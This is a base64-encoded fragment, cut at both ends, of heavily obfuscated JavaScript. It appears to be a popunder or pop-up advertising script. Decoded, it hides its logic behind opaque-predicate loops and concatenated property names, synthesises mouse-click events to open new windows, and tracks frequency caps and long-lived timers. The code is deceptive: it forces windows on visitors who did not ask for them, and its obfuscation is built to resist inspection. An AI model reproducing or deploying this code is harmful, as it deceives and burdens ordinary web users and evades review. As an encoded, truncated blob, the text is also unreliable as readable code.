9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dX